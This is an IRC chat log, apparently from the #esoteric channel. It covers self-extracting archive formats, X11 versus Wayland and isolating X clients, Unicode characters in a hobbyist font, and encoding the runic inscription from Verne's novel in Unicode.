07:40:51 <hppavilion[1]> Hm, are there any chat applications that actually employ demotivation tunnels?
07:43:02 -!- Destructible has joined.
07:43:10 <Destructible> hiii
07:43:12 <Destructible> .
07:43:30 <Destructible> ╔═╦╗╔═╦╗ ╔═════╦╗ ╔═╦╗ ╔═╦╗ ╔═════╦╗
07:43:37 <Destructible> ║ ║║║ ║║ ║ ╔═══╩╝ ║ ║║ ║ ║║ ║ ╔═╗ ║║
07:43:43 <Destructible> ║ ╚╩╝ ║║ ║ ╚═══╦╗ ║ ║║ ║ ║║ ║ ║ ║ ║║
07:43:49 <Destructible> ║ ╔╦╗ ║║ ║ ╔═══╩╝ ║ ║║ ║ ║║ ║ ║ ║ ║║
07:43:56 <Destructible> ║ ║║║ ║║ ║ ╚═══╦╗ ║ ╚╩══╦╗ ║ ╚╩══╦╗ ║ ╚═╝ ║║
07:44:02 <Destructible> ╚═╩╝╚═╩╝ ╚═════╩╝ ╚═════╩╝ ╚═════╩╝ ╚═════╩╝
07:44:32 <Destructible> ___ ___ _______ __ __ _______ / /__/ // ____// / / / / ___ /| / __ // ____// /____ / /____ / /__/ / / /___/|/__//______//______//______//______/ / __ |___|/|__||______||______||______||______|/
07:44:36 <Destructible> ...
07:44:42 <shachaf> Please don't spam the channel.
07:44:58 <Destructible> it seemed empty
07:45:02 <Destructible> sorry
07:45:17 <shachaf> Spam is worse than silence.
07:45:32 <Destructible> ok
07:45:39 <hppavilion[1]> Thou shalt not spam
07:45:41 <shachaf> For that matter, so is that "anyone here?" thing you always do.
07:45:59 <Destructible> ok
07:46:02 <hppavilion[1]> Destructible: Also, it wasn't empty, it's just that no one said anything in the 9 seconds after you joined
07:46:09 <Destructible> yeah
07:46:10 <Destructible> ok
07:46:34 <hppavilion[1]> I said something a couple minutes ago and a response would have come through shortly after I assume
07:46:42 <hppavilion[1]> shachaf: Do you know of any such chat application?
07:46:50 <Destructible> I'm just going to go now
07:46:54 <shachaf> Any what?
07:46:54 -!- Destructible has quit (Client Quit).
07:48:38 <hppavilion[1]> shachaf: Chat applications employing demotivational tunnels as the primary interface, but in a streamlined fashion
07:49:19 <shachaf> I don't know what those are.
07:54:24 <izabera> <Destructible> ___ ___ _______ __ __ _______ / /__/ // ____// / / / / ___ /| / __ // ____// /____ / /____ / /__/ / / /___/|/__//______//______//______//______/ / __ |___|/|__||______||______||______||______|/
07:54:29 <izabera> what is that supposed to be?
07:56:05 -!- spiette has joined.
07:57:14 <izabera> oh i rearranged it and this came up
07:57:18 <izabera> ___ ___ _______ __ __ _______
07:57:20 <izabera> / /__/ // ____// / / / / ___ /|
07:57:22 <izabera> / __ // ____// /____ / /____ / /__/ / /
07:57:24 <izabera> /___/|/__//______//______//______//______/ /
07:57:26 <izabera> |___|/|__||______||______||______||______|/
08:15:11 -!- spockers has quit (Ping timeout: 244 seconds).
08:15:15 -!- spiette has quit (Quit: :qa!).
08:19:25 -!- spockers has joined.
08:24:22 -!- augur_ has quit (Remote host closed the connection).
08:42:43 <hppavilion[1]> izabera: spam is bad, unless properly cooked
08:42:45 <hppavilion[1]> `
08:42:45 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
08:43:32 <hppavilion[1]> `pseudo
08:43:33 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: pseudo: not found
08:43:55 <izabera> does anyone know how those self extracting zip archives work?
08:44:14 <izabera> in my understanding there's a program and then they append the archive at the end of it
08:44:18 <izabera> how do they do that?
08:44:29 <izabera> they must store the offset of the archive somewhere
08:46:15 <hppavilion[1]> Have there been any terrorist attacks recently enough that it'd be insensitive to make a 'fork bomb' joke?
08:47:04 <\oren\> There's always terrorists attacking somewhere.
08:47:11 <hppavilion[1]> \oren\: Well yeah
08:47:16 <hppavilion[1]> \oren\: But any high-profile ones?
08:49:10 <izabera> or they put some kind of marker and the program scans itself to find it
08:49:10 <izabera> i guess it's probably a fixed offset and they compute it once per architecture and then reuse the same executable and recompute it when they recompile to update their program
08:51:40 <zzo38> For ZIP archives I think it is a marker.
08:52:07 <zzo38> So, if you append a ZIP archive to a PNG picture, a program that reads PNG or ZIP will be able to read the corresponding part just fine (I have tried this).
08:53:10 <izabera> so is there a string that will never be part of an elf or pe file?
08:53:23 <izabera> something that can be used as a marker
08:53:49 <zzo38> izabera: That is impossible I think, but the program could be written to avoid it so that the marker can be found.
08:54:21 <izabera> wouldn't that require some major hacking in the compiler?
08:56:22 <zzo38> I am making a program called Xwicketset it is another C library that goes over Xlib to provide many additional functions including widgets. For example to deal with resources there are functions XwicGetResource, XwicGetLeafResource, XwicGetStringResource. The most complicated function so far is XwicCreateMainWindow, which is more than fifty lines long, and uses some of the other functions.
09:02:15 -!- AnotherTest has joined.
09:08:34 <zzo38> Have you made any programming with X window system before?
09:09:13 <izabera> we're all in wayland
09:09:50 <zzo38> I still think X is better though; I don't like Wayland
09:15:11 <zzo38> It seem Canonical does not like Wayland either so they invented Mir. I don't like either of those and believe X11 should be replaced by X12 instead (I have written many ideas about how X version 12 could be made up).
09:15:40 <izabera> they just wanted to be unique
09:24:42 <\oren\> they should just make a version of X that removes all the parts that noone uses
09:26:23 <\oren\> This would break compatibility with lots of very old X programs, but people who want to use those can use the old version of X
09:27:14 <\oren\> This would solve the problem of "X is bloated" without creating the problem of "now we're running both wayland and X"
09:28:11 <zzo38> Some things I would remove from X include such thing as GLX, Xcursor, and several other extensions, as well as the protocol requests for setting the font path and screen saver controls (and use separate methods of setting these things).
09:30:31 -!- J_Arcane has joined.
09:31:55 <zzo38> My method would be to implement a proxy to convert between X11 and X12 requests for the cases where the program is not modified to work natively, as well as to implement a proxy for doing security features.
09:32:20 <fizzie> izabera: At least zip files have the directory part at the end of the file.
09:33:53 <izabera> ah that's smart, put the metadata at the end
09:36:10 <fizzie> You can see this in action in unzip's I-don't-know-this-file error: "End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive."
09:39:22 <fizzie> Self-extracting rars go with the marker approach -- unarchivers skip any leading bytes that precede the first occurrence of an 8-byte signature ("Rar!\x1a\x07\x01\x00"), failing if that signature is not found within the first megabyte.
09:40:46 <hppavilion[1]> fizzie: Rar!
09:43:06 <lifthrasiir> fizzie: isn't that generally true for ZIP files as well?
09:43:42 <fizzie> What is?
09:43:54 <lifthrasiir> markers-in-anywhere approach, that is
09:43:56 <b_jonas> zzo38: isn't that sort of what happens with X11 clients over wayland, or X11 clients over windows?
09:44:06 <b_jonas> zzo38: oh, that reminds me, I have a question about X11
09:44:38 <fizzie> lifthrasiir: I don't think so.
09:45:34 <lifthrasiir> fizzie: I think ZIP appended to other binaries can work without central records at the very end of file for that reason
09:46:50 <fizzie> "Tools that correctly read .ZIP archives must scan for the end of central directory record signature, and then, as appropriate, the other, indicated, central directory records. They must not scan for entries from the top of the ZIP file, because only the central directory specifies where a file chunk starts. Scanning could lead to false positives, as the format does not forbid other data to be ...
09:46:56 <fizzie> ... between chunks, nor file data streams from containing such signatures."
09:46:58 <fizzie> Guess so, then.
09:47:01 <b_jonas> \oren\: what's wrong with both wayland and X? it took a few decades, but now people really run entire linux computers with no termcap support (neither the library-level compatibility layer nor the actual TERMCAP env var for statically linked programs), without a.out (ancient-libc) support, and even without x86_32 libc support.
09:47:30 <fizzie> But I don't think that's necessary for the self-extracting functionality, since the directory *is* at the end.
09:47:39 <b_jonas> I will probably run X11 forever, but the sort of people with their fancy "desktop environments" will probably be running all-wayland in a decade.
09:48:28 <zzo38> Some programs such as Xaw could be ported to X12 however.
09:50:10 <b_jonas> zzo38: anyway, some people try to claim that traditional X11 is "unsecure" because any program with access to the display can steal the images and keyboard input and whatnot from all other windows; and they try to show their fancy modified X11 server or proxy or whatever it is showing that the same exploit doesn't work there. But I don't believe what they say:
09:50:26 <zzo38> I would rather to design and then switch to X12, and failing that use X11.
09:51:24 <b_jonas> If those people want these crazy transparent borderless menu overlay windows that they already use in X11, then how could a user ever be sure which window is where and which window they're typing to? They might not even know where the mouse cursor is. I just don't understand how any such system could be secure,
09:52:18 <b_jonas> short of having a trusted vnc server whose head is shown entirely in a window that can't capture the mouse or keyboard events and has a distinctive border and can't draw outside, which IS what I want for this kind of security, but it doesn't appear to be what they're after.
09:52:29 <b_jonas> Does what these people say against traditional X11 even make sense?
09:53:01 <b_jonas> (Also they try to sell this as if it was some sort of sensational new exploit, but whatever.)
09:53:38 <zzo38> It would be better to use different screens for different security contexts when it is necessary to do so probably. Although a X proxy could be made to do what you say. X11 is not designed for this but could be done; X12 has some things that would make such a proxy less messy.
09:54:41 <b_jonas> zzo38: yes, exactly. I'd like to run three local X servers this way, and I hope I can show the contents of one in a window of another in a way that's cheaper than vnc through a PF_UNIX socket, but I don't have my hopes high.
09:54:56 <b_jonas> (Three, becase one for sane stuff, one for web browser on untrusted websites, one for skype.)
09:56:22 <zzo38> They could also change the border colours to indicate if the inner security context is active, so that you can detect the keyboard logging and stuff like that. (This way would allow it to work even if the programs are running on different computers.)
09:57:55 <b_jonas> zzo38: ok
09:59:05 <b_jonas> mind you, one thing that makes this sort of thing expensive is that the clients to the restricted X server aren't allowed to know even about paint events or which part of their window is visible, so they must keep rendering the video even when it's actually covered on my screen entirely
10:00:17 <zzo38> By setting the permission of different connections in the UNIX system, there can be the security between the different security contexts. For example implement a kind of "securex" command perhaps, that will set the DISPLAY variable and then run the program so that it cannot access the main X server connection.
10:00:41 <hppavilion[1]> Now that I think about it... wizards being willing to eat all of the weird candy that there is in Harry Potter makes them seem either fetishistic or sociopathic
10:07:31 -!- Phantom_Hoover has joined.
10:08:49 <b_jonas> zzo38: oh, I can already make it so that a program can't access the main X server connection.
10:09:03 <b_jonas> zzo38: run it as a different user, don't tell Xauthority to that user
10:09:28 <b_jonas> that's the default with mutliple users, I have to give Xauthority explicitly
10:09:44 <b_jonas> with the Xauth command
10:12:49 <\oren\> Yay, new version of my font!
10:12:51 <\oren\> ❶❷❸❹❺❻❼❽❾❿①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍
10:12:54 <\oren\> ⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍ
10:12:58 <\oren\> ⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿
10:13:06 <\oren\> all of those are now supported
10:15:19 <izabera> why do these character even exist
10:15:48 <izabera> is ⒜ better than (a)?
10:15:55 <\oren\> it's probably the fault of the Japanese
10:16:02 <izabera> :o
10:16:06 <izabera> what did they do?
10:16:35 <\oren\> They had a huge character set to fill and they made up useless crap to fill it with
10:16:57 <izabera> did they _have_ to fill it?
10:17:05 <\oren\> no
10:17:14 <\oren\> that's why it's their fault
10:17:19 <izabera> bastards
10:17:28 <\oren\> ikr
10:18:05 <\oren\> but hey, now I have like 50 new characters
10:18:13 <izabera> http://cbselementary.wikia.com/wiki/Oren_Watson
10:19:29 <\oren\> I have no relation to that character
10:19:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
10:19:34 -!- MoALTz has joined.
10:19:42 <izabera> lies
10:19:52 <b_jonas> \oren\: yeah, it even has a few totally made up kanji of which nobody knows the meaning or etymology or pronunciation
10:21:51 <izabera> why is the last line of the math special characters red?
10:22:07 <\oren\> those characters don't actually exist
10:22:23 <\oren\> (in the unicode standard)
10:22:35 <\oren\> i'ts complicated
10:23:07 <izabera> i don't see much difference between the red chars and their white counterparts
10:23:07 <\oren\> `unicode 𝔄𝔅ℭ
10:23:11 <HackEgo> U+1D504 MATHEMATICAL FRAKTUR CAPITAL A \ UTF-8: f0 9d 94 84 UTF-16BE: d835dd04 Decimal: &#120068; \ 𝔄 \ Category: Lu (Letter, Uppercase) \ Bidi: L (Left-to-Right) \ Decomposition: <font> 0041 \ \ U+1D505 MATHEMATICAL FRAKTUR CAPITAL B \ UTF-8: f0 9d 94 85 UTF-16BE: d835dd05 Decimal: &#120069; \ 𝔅 \ Category: Lu (Letter, Uppercase) \ Bidi
10:23:17 <\oren\> `unicode ℭ
10:23:19 <HackEgo> U+212D BLACK-LETTER CAPITAL C \ UTF-8: e2 84 ad UTF-16BE: 212d Decimal: &#8493; \ ℭ \ Category: Lu (Letter, Uppercase) \ Bidi: L (Left-to-Right) \ Decomposition: <font> 0043
10:23:38 <\oren\> `unicode 𝔆
10:23:39 <HackEgo> U+1D506 - No such unicode character name in database \ UTF-8: f0 9d 94 86 UTF-16BE: d835dd06 Decimal: &#120070; \ 𝔆 (𝔆) \ Uppercase: U+1D506 \ Category: Cn (Other, Not Assigned)
10:23:50 <\oren\> see?
10:24:35 <\oren\> they left gaps in the math alphabets for the characters that had already been made elsewhere
10:25:26 <b_jonas> \oren\: why does your fontdemo.htm has no html title?
10:25:46 <b_jonas> please add one
10:25:51 <\oren\> Ok
10:26:37 <b_jonas> ah great, now the font does show up! I think I know which client setting I messed up int he browser.
10:27:06 <b_jonas> hehe, snake fillers as in the XKCD strip, is that new?
10:27:23 <\oren\> not as new as the other stuff but yes
10:29:36 <b_jonas> \oren\: hmm, since you added extra characters for the Verne futhark inscription, maybe you should add the inscription as one of the samples
10:29:37 -!- J_Arcane has quit (Read error: Connection reset by peer).
10:29:45 <b_jonas> to show how those characters are to be used
10:30:27 <\oren\> sounds good
10:31:55 <b_jonas> And I still think that third character form the Commodore 64 extensions is just a black club card suit symbol, not an extension, since the character set has symbols for the other three suits.
10:32:41 <\oren\> well it's a weird looking club suit with a hole in the middle...
10:34:54 -!- J_Arcane has joined.
10:35:21 <b_jonas> \oren: it's this style of the club suit symbol in low res: https://commons.wikimedia.org/wiki/File:Atlas_deck_4_of_clubs.svg
10:35:28 <b_jonas> not the most common variant, but I don't think it's weird
10:37:00 <Melvar> In German, the suit of clubs is called by the word for “cross”.
10:38:41 <\oren\> i see
10:38:50 <b_jonas> \oren\: is the snake filler extension missing from the character listing in the demo page?
10:40:27 <\oren\> oh. uh... you saw nothing!
10:41:55 <b_jonas> \oren\: also, aren't these "Powerline" thingy characters new enough to be yellow?
10:42:36 <\oren\> not really I think I added them a few months ago
10:42:41 <b_jonas> ok
10:48:14 <Melvar> b_jonas: Btw re X server, does Xnest not do what you want?
11:26:41 <b_jonas> Melvar: I don't know what Xnest is
11:33:20 <Melvar> Xnest is a program which acts as an X client to an ordinary X server, and as an X server to its own clients. An X nested inside X. I’m not sure in how far it might fulfil your security stipulations though.
11:34:24 <b_jonas> Melvar: I see, I'll have to examine that
11:34:43 -!- SLiV has joined.
11:35:11 <b_jonas> Melvar: I knew there were some two other headless X servers apart from vnc derivatives (and there's too many versions of vnc stuff really), but one of them is Xvfb which is truly blind in that you can't view the display at all,
11:35:19 <b_jonas> and I don't recall the other.
11:35:42 <b_jonas> Note that the truly blind one is still useful for some stupid scripts that need to access X but don't actually need user input or output.
11:35:55 <Melvar> Xnest is not headless, if I understand that term properly: It creates a window which acts as the root window of the nested X server.
11:35:56 <b_jonas> Or for eg. some automated testing.
11:36:01 <b_jonas> Melvar: right
11:36:11 <b_jonas> I should try to remember that name and read about it.
11:37:04 -!- boily has joined.
11:38:33 -!- clog has quit (Ping timeout: 276 seconds).
11:38:51 <b_jonas> `random-card
11:38:54 <HackEgo> Cinder Pyromancer \ 2R \ Creature -- Elemental Shaman \ 0/1 \ {T}: Cinder Pyromancer deals 1 damage to target player. \ Whenever you cast a red spell, you may untap Cinder Pyromancer. \ EVE-C, PD2-C
11:38:55 <b_jonas> `random-card
11:38:56 <HackEgo> Fires of Yavimaya \ 1RG \ Enchantment \ Creatures you control have haste. \ Sacrifice Fires of Yavimaya: Target creature gets +2/+2 until end of turn. \ IN-U, HOP-U, ARC-U, PC2-U, C13-U, CNS-U, VMA-U, DDL-U
11:39:50 <fizzie> Fun fact: you can peek at the Xvfb framebuffer by adding a -fbdir argument. (It will make one xwd file there for each screen, and then mmap the framebuffer memory from there.)
11:41:17 <b_jonas> rofl
11:41:23 <fizzie> And the other Xnest-like thing is called Xephyr.
11:41:38 <b_jonas> fizzie: nice, thanks for both of those info
11:41:43 <b_jonas> I will probably promptly forget that
11:41:46 <fizzie> (I think it mostly does more modern X extensions than Xnest, or some-such.)
11:41:57 <b_jonas> maybe we should make a list in some wisdom entry or something
11:42:32 <Melvar> “Think Xnest but with support for modern extensions like composite, damage and randr.” says man Xephyr.
11:43:12 <b_jonas> Melvar: ok, I'll have to check both of those then
11:44:44 <Melvar> It goes on to explain that Xnest is a proxy limited to the capabilities of the host server, whereas Xephyr does its own processing and merely draws an image for the host server.
11:45:50 <fizzie> Apparently there were also plans for a "xf86-video-nested" video driver to run a "regular" X server using a X window as the video output, but that seems to have gone nowhere.
11:46:21 <fizzie> https://www.x.org/wiki/Releases/7.8/ "TODO -- These have been discussed, but are not yet integrated to the source repos, and may or may not happen -- Replace Xephyr, Xvfb, Xnest, Xfake, etc. with Xorg using xf86-video-dummy and xf86-video-nested".
11:46:29 <b_jonas> Melvar: meh, when a software documentation says "this software is like foo but better" then I NEVER believe anything it says about foo, because it usually compares itself with some ancient version of foo and the docs is never updated to tell that foo is already better and knows all that's listed there.
11:47:06 <b_jonas> Although in the case of an old X11 utility, there's less chance for this, I'll still have to examine Xnest on its own first, rather than trying to gleam information about it from the Xephyr docs.
11:50:44 <Melvar> man Xnest suggests to me that it is in fact a thinner proxy than Xephyr, at any rate. Less like Xephyr is better than it serves a different purpose.
11:52:16 <b_jonas> Melvar: thanks
11:54:24 <Melvar> Though I might be wrong since I’m not sure what the respective purposes are supposed to be.
11:56:55 <\oren\> http://www.orenwatson.be/verne.htm
11:58:31 <\oren\> still working on it
11:59:22 <Melvar> \oren\: What is the first part?
12:02:23 <\oren\> The encrypted version from the book
12:02:32 <\oren\> http://www.gutenberg.org/files/18857/18857-h/18857-h.htm#CHAPTER_3
12:04:13 <Melvar> Ah. It’s been so long since I read the book that I didn’t remember it was encrypted … also then does it make sense to display the decrypted version in runes?
12:07:01 <\oren\> Not sure
12:13:48 <boily> @metar CYUL
12:13:48 <lambdabot> CYUL 211100Z 27010G16KT 30SM FEW180 FEW240 19/09 A2973 RMK AC1CI1 AC TR CI TR SLP070 DENSITY ALT 700FT
12:14:11 * Melvar reads.
12:14:13 <Melvar> Ah.
12:14:21 <Melvar> I guess it does.
12:15:13 <Melvar> I was confused about the correspondence for a bit due to a single rune being transcribed as “mm”.
12:23:13 -!- boily has quit (Quit: MARINATED CHICKEN).
12:23:51 <Melvar> `unidecode ᛉᛘ
12:23:52 <HackEgo> ​[U+16C9 RUNIC LETTER ALGIZ EOLHX] [U+16D8 RUNIC LETTER LONG-BRANCH-MADR M]
12:24:25 <Melvar> \oren\: It kinda looks like you used the former of these two, where the latter was meant. ↑
12:25:27 -!- SLiV has quit (Quit: Page closed).
12:25:41 -!- SLiV has joined.
12:28:48 <b_jonas> Melvar: yes, it does make sense to display the decrypted version in runes,
12:30:05 <b_jonas> Melvar: except that there are two or three typos that are in the encrypted rune version but NOT in the encrypted latin script version, and so those typos are certainly made by Verne, not by Professor Lindenbrock or Axel (who couldn't magically undo the typos before knowing the decryption).
12:31:12 <b_jonas> ``` cat wisdom/ᛁ*
12:31:13 <HackEgo> ​ᛁᚿ ᛋᚿᛅᚠᚠᛚᛚᛋ ᛁᚮᚴᚢᛚᛁᛋ ᚴᛦᛆᛏᛅᛦᛅᛘ ᚴᛅᛘ ᚦᛅᛚᛁᛒᛆᛏ ᚢᛘᛒᛦᛆ ᛋᚴᛆᛦᛏᛆᛦᛁᛋ ᛁᚢᛚᛁᛁ ᛁᚿᛏᛦᛆ ᚴᛆᛚᛅᚿᚦᛆᛋ ᚦᛅᛋᚴᛅᚿᚦᛅ, ᛆᚢᚦᛆᛋ ᚢᛁᛆᛏᚮᛦ, ᛏᛅ ᛏᛅᛦᛦᛅᛋᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿg
12:31:38 <b_jonas> ``` < wisdom/ᛁ* perl -e 'local$/;print substr<STDIN>,300'
12:31:39 <HackEgo> ​›á›¦á›… ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿgᛅᛋ. ᚴᚮᚦ ᚠᛅᚴᛁ. ᛆᛦᚿᛅ ᛋᛆᚴᚿᚢᛋᛋᛅᛯ
12:32:07 <b_jonas> Melvar, \oren\ ^^^ that's the decrypted inscription with the two typos that perhaps shoudln't be there, and possibly errors I myself introduced
12:32:32 <b_jonas> but there are lots of runes of which I'm not sure of the unicode encoding, see the details back in the channel logs
12:34:56 -!- Koen_ has joined.
12:36:05 -!- Koen__ has joined.
12:37:40 -!- Koen___ has joined.
12:38:54 -!- Koen___ has quit (Read error: Connection reset by peer).
12:39:27 -!- Koen_ has quit (Ping timeout: 264 seconds).
12:41:08 -!- Koen__ has quit (Ping timeout: 272 seconds).
12:41:17 <Melvar> Well, there’s the matter of that double-m bind rune. Perhaps it should be MAÐR + ZWJ + MAÐR.
12:42:10 -!- oerjan has joined.
12:42:20 <Melvar> Is it just me or did HackEgo output mojibake?
12:42:39 <b_jonas> Melvar: I don't think so. futhark runes (as opposed to old hungarian runes) don't usually have ligatures, the MM rune is a new separate character on its own right
12:43:57 <oerjan> gah no clog
12:44:35 <b_jonas> Melvar: sorry, I did a substr such that it cut in the middle of a character in the utf8
12:44:35 -!- Koen_ has joined.
12:44:38 <b_jonas> Melvar: let me try again
12:44:46 <b_jonas> ``` < wisdom/ᛁ* perl -e 'local$/;print substr<STDIN>,299'
12:44:48 <HackEgo> ​ᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿgᛅᛋ. ᚴᚮᚦ ᚠᛅᚴᛁ. ᛆᛦᚿᛅ ᛋᛆᚴᚿᚢᛋᛋᛅᛯ
12:44:54 <b_jonas> Melvar: is that betteR?
12:45:08 <b_jonas> that's the second half of the inscription, the first half should be fine above
12:45:15 <b_jonas> ``` < wisdom/ᛁ* # first half
12:45:16 <HackEgo> No output.
12:45:18 <b_jonas> huh
12:45:21 <Melvar> Yes. Except I don’t know why the g is in there.
12:45:22 <b_jonas> ``` cat wisdom/ᛁ* # first half
12:45:23 <HackEgo> ​ᛁᚿ ᛋᚿᛅᚠᚠᛚᛚᛋ ᛁᚮᚴᚢᛚᛁᛋ ᚴᛦᛆᛏᛅᛦᛅᛘ ᚴᛅᛘ ᚦᛅᛚᛁᛒᛆᛏ ᚢᛘᛒᛦᛆ ᛋᚴᛆᛦᛏᛆᛦᛁᛋ ᛁᚢᛚᛁᛁ ᛁᚿᛏᛦᛆ ᚴᛆᛚᛅᚿᚦᛆᛋ ᚦᛅᛋᚴᛅᚿᚦᛅ, ᛆᚢᚦᛆᛋ ᚢᛁᛆᛏᚮᛦ, ᛏᛅ ᛏᛅᛦᛦᛅᛋᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿg
12:45:40 <b_jonas> Melvar: the g is there because I didn't know how to encode it in unicode
12:46:03 <b_jonas> Melvar: I also don't know how to encode the "d" rune, but I used the "th" rune which is at least superficially similar and possibly related to it
12:46:25 <Melvar> “They are extremely rare in Viking Age inscriptions, but are common in earlier (Proto-Norse) and later (medieval) inscriptions.” — https://en.wikipedia.org/wiki/Bind_rune
12:46:58 <b_jonas> Melvar: I see
12:47:07 <b_jonas> Melvar: but still, the text explicitly calls out for a double-m rune
12:47:08 <b_jonas> let me find it
12:47:15 <b_jonas> (it's also in the channel log)
12:49:13 <Melvar> `unidecode ᛯ
12:49:14 <HackEgo> ​[U+16EF RUNIC TVIMADUR SYMBOL]
12:49:16 <b_jonas> Melvar: https://fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_3 "En effet, la première lettre est une double M qu’on chercherait vainement dans le livre de Turleson [the book in which the parchment with the message was hidden], car elle ne fut ajoutée à l’alphabet islandais qu’au quatorzième siècle."
12:50:03 <Melvar> Yes, and apparently the message was written by a sixteenth-century alchemist, so that would make sense.
12:50:23 <Melvar> The book itself being far older, of course.
12:50:28 <b_jonas> Melvar: right
12:51:40 <Melvar> The one you used is said to be used as a calendar symbol only, but the name certainly looks like it was constructed as a double-M.
12:51:51 <b_jonas> Melvar: anyway, the other problems with encoding include the two different variants of the C rune (used for c, k, q in the text), the two different variants of the A rune, and more.
12:51:54 * FireFly prods nortti
12:52:09 <b_jonas> Also some stuff about capital letters looks strange.
12:52:20 <b_jonas> And, I dunno what else, you'd have to search the channel logs
12:52:47 <Melvar> Yeah, the capitals are way strange since I don’t think any runes had a case distinction.
12:53:07 <FireFly> I don't think so either
12:54:08 <FireFly> Is this younger futhark?
12:54:40 <b_jonas> Melvar: sure, but the alchemist who wrote it in the 12th century was probably familiar with a variant of the latin script that had case distinction, so that part at least isn't too strange.
12:55:21 <b_jonas> FireFly: it's... complicated. It's some made-up version of futhark probably, one Verne figured from incomplete sources, because he didn't know too much about the history of futhark. Or so I gather.
12:55:26 -!- SLiV has quit (Quit: Page closed).
12:55:41 <Melvar> Ah, it looks like the message has them different in size.
12:55:51 <b_jonas> Melvar: not only different size, but also shape
12:55:56 <FireFly> I see
12:56:10 <b_jonas> Melvar: the capital I rune has serifs, and, wait, there was one with an even more strange difference
12:56:26 <FireFly> What a funny idea
12:56:29 <FireFly> serifs on runes
12:56:35 <Melvar> Indeed.
12:57:46 <Melvar> Amusing aside: At home I have a thing with something that’s described as “an actual bookstaff”, this being a rod of beech-wood with runes carved into it.
12:58:09 <b_jonas> FireFly: what? serifs on runes make sense. runes have their shape because they were carved in wood, but later runes also got carved to stone, and in stone the serifs help
12:59:19 <b_jonas> Melvar: look at the A at the start of Arne, that one has a different shape from the normal A apparently
12:59:23 <FireFly> I guess? But I've never seen any serifs on runes carved in stones
12:59:39 <b_jonas> although the difference is probably only that it's a seriffed variant
12:59:41 <FireFly> the idea to put serifs on runes never occurred to me
12:59:54 <b_jonas> FireFly: wait, are you some sort of rune carver or something?
13:00:13 <b_jonas> with like chisels in your pocket
13:00:47 -!- clog has joined.
13:00:50 <FireFly> No :P
13:01:30 <b_jonas> I mean, this is #esoteric, I brought the inscription in here because I fully expected that there will be at least people more familiar with futhark and/or unicode and/or futhark's unicode encoding than me.
13:01:46 <b_jonas> So I wouldn't be too surprised to find people with chisels too.
13:01:56 <FireFly> Oh sure. hence prodding nortti above. He's the residentt rune expert as far as I know
13:02:02 <b_jonas> I see
13:03:35 <FireFly> I only know how to read younger futhark
13:04:18 <Phantom_Hoover> cuneiform has serif-like marks on the strokes but that's because it's written on soft clay
13:04:45 <FireFly> It's also not exactly carved, is it?
13:04:55 <FireFly> More molded, except I'm not sure if that is the right term
13:05:40 <b_jonas> FireFly: yes, it's on paper or parchment or something, maybe with ink... I don't recall what the text says
13:06:10 <FireFly> The Verne thing?
13:06:18 <FireFly> I should read that book anyawy, regardless of inscriptions
13:06:20 <b_jonas> FireFly: yes, the verne one
13:06:38 <b_jonas> Btw, there are two scanned copies of probably the same original image, a better one on fr.wikisource, and a worse one (higher res but black and white) in an English translation of a book
13:10:24 <Melvar> FireFly: Impressed is what I have heard it called what cuneiform is.
13:10:42 <FireFly> Makes sense.
13:12:37 <Melvar> You specifically don’t want to remove any clay from the original glob, because that would just be a terrible mess to clean up.
13:16:11 <oerjan> `learn Cuneiform is the most impressive writing system.
13:16:14 <HackEgo> Learned 'cuneiform': Cuneiform is the most impressive writing system.
14:04:17 -!- spiette has joined.
14:15:34 <izabera> what happened to zfs fuse? http://zfs-fuse.net/
14:20:07 <fizzie> izabera: Too much gambling, maybe.
14:20:36 <izabera> that's sad
14:22:31 -!- Sgeo has quit (Ping timeout: 240 seconds).
14:52:21 -!- lleu has joined.
14:54:06 -!- lleu has quit (Client Quit).
14:54:21 -!- lleu has joined.
14:54:49 -!- lleu has quit (Read error: Connection reset by peer).
15:00:19 -!- nycs has joined.
15:06:27 -!- Koen_ has quit (Read error: Connection reset by peer).
15:06:47 -!- Koen_ has joined.
15:13:36 -!- Koen__ has joined.
15:14:03 -!- Koen_ has quit (Read error: Connection reset by peer).
15:31:53 <quintopia> that seems like a bug...lambdabot wont tell you you have messages if the only tjing you say is addressed to lambdabot...
15:47:43 -!- bauen1 has quit (Quit: see ya - bauen1).
15:47:46 -!- bauen1_ has joined.
15:48:55 -!- bauen1_ has quit (Client Quit).
15:49:02 -!- bauen1 has joined.
15:49:02 -!- bauen1 has quit (Client Quit).
15:49:11 -!- bauen1 has joined.
15:54:36 -!- Koen__ has quit (Remote host closed the connection).
16:11:51 -!- idris-bot has quit (Ping timeout: 264 seconds).
16:12:13 -!- Melvar` has joined.
16:13:10 -!- Melvar has quit (Ping timeout: 260 seconds).
16:25:59 -!- Melvar` has changed nick to Melvar.
16:28:08 -!- idris-bot has joined.
16:30:45 <\oren\> unicode 9.0.0 is being released today by the way
16:31:15 <\oren\> the emoji are now considered wide characters
16:32:44 <\oren\> which will finally fix the problems with emoji in terminals
16:37:35 <\oren\> it also provides some new symbols which ill add tonight
